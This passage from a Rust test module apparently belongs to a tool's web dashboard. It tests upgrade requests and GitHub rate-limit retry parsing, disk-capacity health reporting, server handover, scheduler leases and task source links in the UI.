24168 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24169 Some(3723)
24170 );
24171 assert_eq!(
24172 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24173 Some(60)
24174 );
24175 assert_eq!(
24176 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24177 Some(0)
24178 );
24179 for message in [
24180 "permission denied",
24181 "GitHub API rate limit exceeded",
24182 "GitHub rate limit (resets in unknown)",
24183 "GitHub rate limit (resets in 18446744073709551615d)",
24184 ] {
24185 assert_eq!(upgrade_retry_after(message), None, "{message}");
24186 }
24187 }
24188
24189 #[tokio::test]
24190 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24191 let home = TempDir::new().unwrap();
24192 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24193 ui.start_loop(None).unwrap();
24194 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24195 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24196 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24197 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24198 let response = finish_upgrade_request(&ui, result);
24199 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24200 assert_eq!(response.headers()["retry-after"], "120");
24201 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24202 .await
24203 .unwrap();
24204 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24205 assert!(body["error"].as_str().unwrap().contains(reason));
24206 assert_eq!(body["retry_after_secs"], 120);
24207 assert!(body["retry_at"].as_u64().is_some());
24208 for _ in 0..2 {
24209 let view = health(State(ui.clone())).await.unwrap().0;
24210 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24211 assert_eq!(failure, body);
24212 }
24213 assert_eq!(
24214 std::fs::read(updater::progress_path(home.path())).unwrap(),
24215 before
24216 );
24217 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24218 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24219 let gate = ui.upgrade_gate.lock().await;
24221 assert_eq!(
24222 upgrade_post(State(ui.clone())).await.status(),
24223 StatusCode::CONFLICT
24224 );
24225 drop(gate);
24226 assert!(
24227 health(State(ui.clone()))
24228 .await
24229 .unwrap()
24230 .0
24231 .upgrade_request_error
24232 .is_some()
24233 );
24234 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24235 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24236 assert!(
24237 health(State(ui.clone()))
24238 .await
24239 .unwrap()
24240 .0
24241 .upgrade_request_error
24242 .is_none()
24243 );
24244 let live = ui.lock_loop().live.take().unwrap();
24245 live.stop.stop();
24246 live.handle.await.unwrap();
24247 }
24248
24249 #[tokio::test]
24250 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24251 use crate::updater::Stage;
24252 let repo = TempDir::new().expect("repo dir");
24253 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24254 .expect("write magi.toml");
24255 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24256 for stage in [Stage::Done, Stage::Failed] {
24257 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24258 let res = fx.post("/api/upgrade", None).await;
24259 assert_eq!(res.status, 200, "{stage:?}");
24260 }
24261 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24263 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24264 }
24265
24266 #[tokio::test]
24267 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24268 let repo = TempDir::new().expect("repo dir");
24284 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24285 .expect("write magi.toml");
24286 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24287
24288 let res = fx.post("/api/upgrade", None).await;
24294 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24295 let body = res.json();
24296 assert!(body["to"].is_null(), "there was no release to move to");
24297 assert!(body["parked"].is_null(), "and nothing was parked");
24298 assert!(
24299 body["detail"]
24300 .as_str()
24301 .unwrap()
24302 .contains("nothing restarted"),
24303 "{body:?}"
24304 );
24305 }
24306
24307 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24308 tokio::time::timeout(Duration::from_secs(5), async {
24309 while state.lock().unwrap().in_flight {
24310 tokio::task::yield_now().await;
24311 }
24312 })
24313 .await
24314 .expect("capacity scan finished");
24315 }
24316
24317 fn disk_test_scope(home: &FsPath) -> DiskScope {
24318 DiskScope {
24319 runs: home.join("runs"),
24320 worktrees: home.join("worktrees"),
24321 cache: Some(home.join("cache")),
24322 }
24323 }
24324
24325 fn known_disk_capacity() -> DiskCapacity {
24326 DiskCapacity {
24327 free_bytes: Some(100),
24328 runs_bytes: Some(200),
24329 worktrees_bytes: Some(300),
24330 cache_bytes: Some(400),
24331 }
24332 }
24333
24334 #[tokio::test]
24335 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24336 let home = TempDir::new().unwrap();
24337 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24338 let mut ui = delta_test_ui(home.path());
24339 let state = Arc::get_mut(&mut ui).unwrap();
24340 state.repo = home.path().to_owned();
24341 state.worktrees_root = home.path().join("worktrees");
24342 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24343 ui.monitor
24344 .worker_started
24345 .store(true, std::sync::atomic::Ordering::SeqCst);
24346 let cfg = deputy_config(&ui.repo);
24347 let scope = DiskScope::of(&ui, cfg.as_ref());
24348 let (started, reached) = tokio::sync::oneshot::channel();
24349 let (release, blocked) = std::sync::mpsc::channel();
24350 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24351 started.send(()).unwrap();
24352 let _ = blocked.recv();
24354 known_disk_capacity()
24355 });
24356 assert!(cold.runs_bytes.is_none());
24357 tokio::time::timeout(Duration::from_secs(5), reached)
24358 .await
24359 .unwrap()
24360 .unwrap();
24361
24362 let requests: Vec<_> = (0..4)
24363 .map(|_| {
24364 let ui = ui.clone();
24365 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24366 })
24367 .collect();
24368 let completed = tokio::time::timeout(Duration::from_secs(60), async {
24372 for request in requests {
24373 let view = request.await.unwrap();
24374 let disk = serde_json::to_value(view.disk).unwrap();
24375 assert!(disk["runs_bytes"].is_null());
24376 assert!(disk["worktrees_bytes"].is_null());
24377 assert!(disk["free_bytes"].is_u64());
24380 }
24381 })
24382 .await;
24383 if completed.is_err() {
24384 release.send(()).unwrap();
24385 wait_for_disk_scan(&ui.monitor.disk).await;
24386 panic!("health must return while the measurement is causally blocked");
24387 }
24388 assert!(ui.monitor.disk.lock().unwrap().in_flight);
24389 assert!(
24391 ui.monitor
24392 .disk
24393 .lock()
24394 .unwrap()
24395 .capacity
24396 .runs_bytes
24397 .is_none()
24398 );
24399 release.send(()).unwrap();
24400 wait_for_disk_scan(&ui.monitor.disk).await;
24401 assert_eq!(
24402 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24403 Some(200)
24404 );
24405 }
24406
24407 #[tokio::test]
24408 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24409 let home = TempDir::new().unwrap();
24410 let scope = disk_test_scope(home.path());
24411 let state = Arc::new(Mutex::new(DiskObservation {
24412 scope: Some(scope.clone()),
24413 capacity: known_disk_capacity(),
24414 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24415 ..Default::default()
24416 }));
24417 let (started, reached) = tokio::sync::oneshot::channel();
24418 let (release, blocked) = std::sync::mpsc::channel();
24419 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24420 started.send(()).unwrap();
24421 blocked.recv().unwrap();
24422 DiskCapacity {
24423 runs_bytes: Some(250),
24424 ..Default::default()
24425 }
24426 });
24427 assert_eq!(before.cache_bytes, Some(400));
24428 tokio::time::timeout(Duration::from_secs(5), reached)
24429 .await
24430 .unwrap()
24431 .unwrap();
24432 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24433 for _ in 0..4 {
24434 let scans = duplicate_scans.clone();
24435 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24436 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24437 DiskCapacity::default()
24438 });
24439 assert_eq!(during.runs_bytes, Some(200));
24440 assert_eq!(during.cache_bytes, Some(400));
24441 }
24442 release.send(()).unwrap();
24443 wait_for_disk_scan(&state).await;
24444 let scans = duplicate_scans.clone();
24445 let after = DiskObservation::observe(&state, scope, move |_| {
24446 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24447 DiskCapacity::default()
24448 });
24449 wait_for_disk_scan(&state).await;
24450 assert_eq!(after.runs_bytes, Some(250));
24451 assert_eq!(after.free_bytes, Some(100));
24452 assert_eq!(after.cache_bytes, Some(400));
24453 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24454 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24455 }
24456
24457 #[tokio::test]
24458 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24459 let home = TempDir::new().unwrap();
24460 let old_scope = disk_test_scope(home.path());
24461 let mut new_scope = old_scope.clone();
24462 new_scope.cache = Some(home.path().join("replacement-cache"));
24463 let state = Arc::new(Mutex::new(DiskObservation {
24464 scope: Some(old_scope.clone()),
24465 capacity: known_disk_capacity(),
24466 ..Default::default()
24467 }));
24468 let (started, reached) = tokio::sync::oneshot::channel();
24469 let (release, blocked) = std::sync::mpsc::channel();
24470 DiskObservation::observe(&state, old_scope, move |_| {
24471 started.send(()).unwrap();
24472 blocked.recv().unwrap();
24473 known_disk_capacity()
24474 });
24475 tokio::time::timeout(Duration::from_secs(5), reached)
24476 .await
24477 .unwrap()
24478 .unwrap();
24479 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24480 let scans = duplicate_scans.clone();
24481 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24482 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24483 DiskCapacity::default()
24484 });
24485 assert!(changed.cache_bytes.is_none());
24486 assert!(changed.runs_bytes.is_none());
24487 release.send(()).unwrap();
24488 wait_for_disk_scan(&state).await;
24489 {
24490 let observation = state.lock().unwrap();
24491 assert!(observation.capacity.cache_bytes.is_none());
24492 assert!(observation.finished.is_none());
24493 }
24494 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24495 assert_eq!(scope, &new_scope);
24496 DiskCapacity {
24497 cache_bytes: Some(999),
24498 ..Default::default()
24499 }
24500 });
24501 wait_for_disk_scan(&state).await;
24502 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24503 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24504 }
24505
24506 #[tokio::test]
24507 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24508 let home = TempDir::new().unwrap();
24509 let scope = disk_test_scope(home.path());
24510 let state = Arc::new(Mutex::new(DiskObservation {
24511 scope: Some(scope.clone()),
24512 capacity: known_disk_capacity(),
24513 ..Default::default()
24514 }));
24515 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24516 wait_for_disk_scan(&state).await;
24517 {
24518 let mut observation = state.lock().unwrap();
24519 assert_eq!(observation.capacity.cache_bytes, Some(400));
24520 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24521 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24522 }
24523 DiskObservation::observe(&state, scope, |_| DiskCapacity {
24524 cache_bytes: Some(450),
24525 ..Default::default()
24526 });
24527 wait_for_disk_scan(&state).await;
24528 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24529 }
24530
24531 #[test]
24532 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24533 let home = TempDir::new().unwrap();
24534 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24535 assert_eq!(disk_capacity_size(home.path()), Some(0));
24536 std::fs::create_dir(home.path().join("nested")).unwrap();
24537 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24538 assert_eq!(disk_capacity_size(home.path()), Some(5));
24539 #[cfg(unix)]
24540 {
24541 assert_eq!(
24543 disk_capacity_size(&home.path().join("nested/data/child")),
24544 None
24545 );
24546 }
24547 #[cfg(unix)]
24548 {
24549 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24550 assert_eq!(disk_capacity_size(home.path()), Some(5));
24551 }
24552 }
24553
24554 #[tokio::test]
24555 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24556 let repo = TempDir::new().expect("repo dir");
24561 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24562 .expect("write magi.toml");
24563 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24564
24565 let health = fx.get("/api/health").await.json();
24566 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24567 assert_eq!(
24568 health["update"]["available"], false,
24569 "checking is off, which reads as \"unknown\", not \"none\""
24570 );
24571 assert!(health["update"]["to"].is_null());
24572 assert!(
24573 health["upgrade"].is_null(),
24574 "nothing has ever asked this deck to upgrade"
24575 );
24576 }
24577
24578 #[tokio::test]
24579 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24580 let fx = Fixture::start().await;
24581 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24582
24583 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24584 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24585 progress.advance(crate::updater::Stage::Parking);
24586 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24587
24588 let health = fx.get("/api/health").await.json();
24589 assert_eq!(health["upgrade"]["stage"], "parking");
24590 assert_eq!(health["upgrade"]["from"], "0.5.1");
24591 assert_eq!(health["upgrade"]["to"], "0.5.2");
24592 let waiting_on = health["upgrade"]["waiting_on"]
24593 .as_str()
24594 .expect("waiting_on is set while parking a known run");
24595 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24596 assert!(waiting_on.contains("implementing"), "{waiting_on}");
24597 }
24598
24599 #[tokio::test]
24600 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24601 let fx = Fixture::start().await;
24602 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24603 progress.advance(crate::updater::Stage::Done);
24604 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24605
24606 let health = fx.get("/api/health").await.json();
24607 assert_eq!(health["upgrade"]["stage"], "done");
24608 assert!(
24609 health["upgrade"]["waiting_on"].is_null(),
24610 "nothing to wait on once it is done"
24611 );
24612 }
24613
24614 #[tokio::test]
24617 async fn the_handover_signal_wakes_one_waiter_once() {
24618 let signal = Notify::new();
24619 signal.notify_one();
24621 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24622 .await
24623 .expect("an early signal is still seen");
24624 assert!(
24626 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24627 .await
24628 .is_err(),
24629 "a consumed signal must not wake a second time"
24630 );
24631 let signal = std::sync::Arc::new(signal);
24633 let waiter = tokio::spawn({
24634 let signal = std::sync::Arc::clone(&signal);
24635 async move { wait_for_handover(&signal).await }
24636 });
24637 tokio::time::sleep(Duration::from_millis(20)).await;
24638 assert!(!waiter.is_finished(), "nothing was signalled yet");
24639 signal.notify_one();
24640 tokio::time::timeout(Duration::from_secs(5), waiter)
24641 .await
24642 .expect("a late signal wakes the waiter")
24643 .expect("join");
24644 }
24645
24646 #[tokio::test]
24647 async fn health_says_how_long_a_handover_has_been_stuck() {
24648 let fx = Fixture::start().await;
24649 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24650 progress.advance(crate::updater::Stage::Replaced);
24651 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24652 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24653
24654 let health = fx.get("/api/health").await.json();
24655 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24656 assert!(stuck >= 600, "{stuck}");
24657 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24658 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24659 }
24660
24661 #[tokio::test]
24662 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24663 let home = tempfile::tempdir().expect("temp home");
24664 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24665 progress.advance(crate::updater::Stage::Parking);
24666 crate::updater::write_progress(home.path(), &progress).expect("seed");
24667 let mut again = progress.clone();
24669 again.advance(crate::updater::Stage::Replaced);
24670 crate::updater::write_progress(home.path(), &again).expect("replaced");
24671 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24672 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24673 let after = crate::updater::read_progress(home.path()).expect("record");
24674 assert_eq!(after.stage, crate::updater::Stage::Parking);
24675 }
24676
24677 #[tokio::test]
24678 async fn health_does_not_call_a_live_parking_wait_stuck() {
24679 let fx = Fixture::start().await;
24680 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24681 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24682 progress.advance(crate::updater::Stage::Parking);
24683 let hours = Duration::from_secs(3 * 3600);
24684 progress.started_at = Timestamp::now() - hours;
24685 progress.updated_at = Timestamp::now() - hours;
24686 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24687 let _lease = crate::updater::LeaseGuard::enter(
24688 fx.home.path(),
24689 Some("20260905-000000-cd51".to_owned()),
24690 );
24691
24692 let health = fx.get("/api/health").await.json();
24693 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24694 assert!(health["upgrade"]["stuck_kind"].is_null());
24695 assert_eq!(health["upgrade"]["handover_alive"], true);
24696 let waiting_on = health["upgrade"]["waiting_on"]
24697 .as_str()
24698 .expect("waiting_on");
24699 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24700 }
24701
24702 fn idle_ui(home: &TempDir) -> Ui {
24703 let runs = home.path().join("runs");
24704 std::fs::create_dir_all(&runs).expect("runs dir");
24705 Ui::new(
24706 Queue::at(home.path().join("queue")),
24707 Questions::at(home.path().join("questions")),
24708 Talks::at(home.path().join("talks")),
24709 runs,
24710 home.path().to_path_buf(),
24711 PathBuf::from("/repo/magi"),
24712 )
24713 .with_launch(launch_idle)
24714 }
24715
24716 #[tokio::test]
24717 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24718 let home = TempDir::new().expect("temp home");
24719 let ui = idle_ui(&home);
24720 let lease = crate::worker::try_lease(home.path(), "scheduler")
24721 .expect("scheduler lease")
24722 .expect("free");
24723 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24724 .expect("request stop");
24725 let error = ui
24726 .start_detached_loop()
24727 .await
24728 .expect_err("transition is still live");
24729 assert_eq!(error.status, StatusCode::CONFLICT);
24730 assert!(error.message.contains("still running or stopping"));
24731 assert_eq!(
24732 crate::worker::control(home.path(), "scheduler").unwrap(),
24733 Some(crate::worker::Control::Stop)
24734 );
24735 drop(lease);
24736 }
24737
24738 #[tokio::test]
24739 async fn handover_releases_listener_without_waiting_for_execution_leases() {
24740 let home = TempDir::new().expect("temp home");
24741 let ui = idle_ui(&home);
24742 let turns = ui
24743 .begin_talk_turn("active-chat")
24744 .expect("claim")
24745 .expect("free");
24746 let execution = crate::worker::try_lease(home.path(), "active-task")
24747 .expect("execution lease")
24748 .expect("free");
24749 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24750 .await
24751 .expect("bind loopback");
24752 let address = listener.local_addr().expect("address");
24753 let admissions = Arc::clone(&ui.admissions);
24754 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24755 let successor_started = std::sync::atomic::AtomicBool::new(false);
24756 tokio::time::timeout(
24757 Duration::from_secs(2),
24758 hand_over(home.path(), &admissions, served, || {
24759 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24760 Ok(1)
24761 }),
24762 )
24763 .await
24764 .expect("restart must not wait for execution")
24765 .expect("handover");
24766 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24767 let successor = bind_waiting(address)
24770 .await
24771 .expect("successor binds released address");
24772 assert_eq!(successor.local_addr().unwrap(), address);
24773 assert!(turns.owns(), "the chat lease survives restart");
24774 assert!(
24775 crate::worker::try_lease(home.path(), "active-task")
24776 .unwrap()
24777 .is_none()
24778 );
24779 drop(execution);
24780 drop(turns);
24781 }
24782
24783 #[tokio::test]
24784 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24785 let home = TempDir::new().expect("temp home");
24786 let ui = idle_ui(&home);
24787 let admission = ui.begin_admission().expect("admit send");
24788 let turn = ui
24789 .begin_talk_turn("active-chat")
24790 .expect("claim")
24791 .expect("free");
24792 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24793 .await
24794 .expect("bind loopback");
24795 let address = listener.local_addr().expect("address");
24796 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24797 let successor_called = std::sync::atomic::AtomicBool::new(false);
24798 let handover = hand_over(home.path(), &ui.admissions, served, || {
24799 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24800 Ok(1)
24801 });
24802 tokio::pin!(handover);
24803 std::future::poll_fn(|cx| {
24806 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24807 std::task::Poll::Ready(())
24808 })
24809 .await;
24810 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24811 assert!(
24812 ui.begin_admission().is_err(),
24813 "new ingress cannot race the drain"
24814 );
24815 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24816 drop(admission);
24817 tokio::time::timeout(Duration::from_secs(2), handover)
24818 .await
24819 .expect("only publication may delay restart")
24820 .expect("handover");
24821 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24822 assert!(
24823 turn.owns(),
24824 "the detached chat turn is not awaited or cancelled"
24825 );
24826 assert!(
24827 ui.begin_admission().is_err(),
24828 "old accepted connections stay closed"
24829 );
24830 drop(turn);
24831 }
24832
24833 #[test]
24834 fn health_worker_metadata_never_contains_payload_or_result() {
24835 let view = WorkerView::from(crate::worker::Job {
24836 id: "job".into(),
24837 sequence: 1,
24838 kind: "service".into(),
24839 key: "maintenance".into(),
24840 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24841 generation: "generation".into(),
24842 version: Some("1.2.3".into()),
24843 status: crate::worker::Status::Running,
24844 result: Some("private diagnostics".into()),
24845 pid: Some(4242),
24846 created_at: 1,
24847 finished_at: None,
24848 });
24849 let value = serde_json::to_value(view).expect("serialize public metadata");
24850 assert_eq!(value["version"], "1.2.3");
24851 assert_eq!(value["pid"], 4242);
24852 assert!(value.get("payload").is_none());
24853 assert!(value.get("result").is_none());
24854 assert!(!value.to_string().contains("private"));
24855 }
24856
24857 #[test]
24858 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24859 let home = TempDir::new().expect("temp home");
24860 let ui = idle_ui(&home);
24861 std::fs::write(
24862 home.path().join("daemon.json"),
24863 serde_json::json!({
24864 "schema": 2, "pid": 4242, "worker_protocol": 1,
24865 "updated_at": Timestamp::now().to_string(), "idle": true,
24866 })
24867 .to_string(),
24868 )
24869 .expect("status");
24870 let reading = daemon::read_status(home.path());
24871 assert!(Foreign::of(reading.as_ref()).is_none());
24872 let view = ui.runtime_loop_view(reading, &[]);
24873 assert!(view.running);
24874 assert!(view.owned);
24875 }
24876
24877 #[test]
24878 fn only_an_explicit_one_requests_a_resume() {
24879 assert!(!resume_requested(None));
24880 assert!(!resume_requested(Some("0".into())));
24881 assert!(!resume_requested(Some("".into())));
24882 assert!(resume_requested(Some("1".into())));
24883 }
24884
24885 #[test]
24886 fn an_error_is_visible_from_where_the_button_is() {
24887 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24892 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24893 assert!(
24894 alert.contains("position: fixed"),
24895 "an error about the thing under your thumb has to be visible from \
24896 where your thumb is: {alert}"
24897 );
24898 assert!(
24899 alert.contains("z-index: 25"),
24900 "above the dock (20) and the run-actions FAB (15), so neither \
24901 buries it: {alert}"
24902 );
24903 assert!(
24904 alert.contains("var(--tap)"),
24905 "and clear of the dock and the home indicator: {alert}"
24906 );
24907 assert!(
24910 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24911 "the FAB's column stays free: {alert}"
24912 );
24913 }
24914
24915 #[tokio::test]
24916 async fn an_older_attempt_says_what_replaced_it() {
24917 let fx = Fixture::start().await;
24918 let q = fx.queue();
24919 let runs = fx.runs();
24920 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24921 write_run(&runs, first, RunStatus::Stalled);
24922 write_run(&runs, second, RunStatus::Blocked);
24923
24924 let mut t = Task::new(
24925 "one task".to_owned(),
24926 "do it".to_owned(),
24927 PathBuf::from("/repo"),
24928 Source::Human,
24929 );
24930 t.runs = vec![first.to_owned(), second.to_owned()];
24931 q.put(&mut t).expect("put");
24932
24933 let rows = fx.get("/api/runs").await.json();
24937 let by = |short: &str| -> Value {
24938 rows.as_array()
24939 .unwrap()
24940 .iter()
24941 .find(|r| r["short"] == short)
24942 .cloned()
24943 .unwrap_or(Value::Null)
24944 };
24945 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24946 assert!(
24947 by("bbbb")["superseded_by"].is_null(),
24948 "the latest attempt is not superseded by anything"
24949 );
24950 assert!(APP_JS.contains("run.superseded_by"));
24952 assert!(APP_JS.contains("Superseded by"));
24953 }
24954
24955 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24956 let mut t = Task::new(
24957 "one task".to_owned(),
24958 "do it".to_owned(),
24959 PathBuf::from("/repo"),
24960 Source::Human,
24961 );
24962 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24963 t.status = status;
24964 t
24965 }
24966
24967 #[test]
24968 fn source_link_picks_the_page_that_filed_the_task() {
24969 let agent = |node: &str| Source::Agent {
24970 run: "20260904-014455-ab12".to_owned(),
24971 node: node.to_owned(),
24972 };
24973 let chat = source_link(&agent("chat")).expect("chat link");
24974 assert_eq!(chat.kind, "chat");
24975 assert_eq!(chat.id, "20260904-014455-ab12");
24976 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24977 let run = source_link(&agent("implement")).expect("run link");
24978 assert_eq!(
24979 (run.kind, run.href.as_str()),
24980 ("run", "#/runs/20260904-014455-ab12")
24981 );
24982 assert_eq!(source_link(&Source::Human), None);
24983 assert_eq!(
24984 source_link(&Source::Issue {
24985 number: 3,
24986 repo: "o/r".to_owned()
24987 }),
24988 None
24989 );
24990 let odd = source_link(&Source::Agent {
24991 run: "a b/c".to_owned(),
24992 node: "chat".to_owned(),
24993 })
24994 .expect("link");
24995 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24996 }
24997
24998 #[test]
24999 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25000 assert!(
25001 !APP_JS.contains("src.node === \"chat\""),
25002 "inline href rule is back"
25003 );
25004 assert!(
25005 APP_JS.matches("sourceLinkOf(").count() >= 4,
25006 "helper must serve every page"
25007 );
25008 assert!(
25009 APP_JS.matches("openChatLink(").count() >= 3,
25010 "the run page still needs its explicit chat link"
25011 );
25012 assert!(
25013 !APP_JS.contains("const openChat = el("),
25014 "the Queue card duplicates its source label link again"
25015 );
25016 assert!(
25017 APP_JS.contains("metaKids.push(link ? el(\"a\""),
25018 "the task page must link a chat source label too"
25019 );
25020 }
25021
25022 #[test]
25023 fn task_ref_carries_the_source_link_for_a_chat_task() {
25024 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25025 t.source = Source::Agent {
25026 run: "20260904-014455-ab12".to_owned(),
25027 node: "chat".to_owned(),
25028 };
25029 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25030 let v = serde_json::to_value(&out).expect("json");
25031 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25032 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25033 assert_eq!(v["source_label"], t.source.label());
25034
25035 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25036 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25037 .expect("json");
25038 assert!(v["source_link"].is_null(), "{v}");
25039 }
25040
25041 #[test]
25042 fn task_view_serializes_source_link() {
25043 let mut t = Task::new(
25044 "t".to_owned(),
25045 "t".to_owned(),
25046 PathBuf::from("/repo"),
25047 Source::Agent {
25048 run: "20260901-000000-aaaa".to_owned(),
25049 node: "implement".to_owned(),
25050 },
25051 );
25052 t.runs.clear();
25053 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25054 assert_eq!(v["source_link"]["kind"], "run", "{v}");
25055 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25056 }
25057
25058 #[test]
25059 fn task_view_serializes_urgent_flag() {
25060 let mut t = Task::new(
25061 "t".to_owned(),
25062 "t".to_owned(),
25063 PathBuf::from("/repo"),
25064 Source::Human,
25065 );
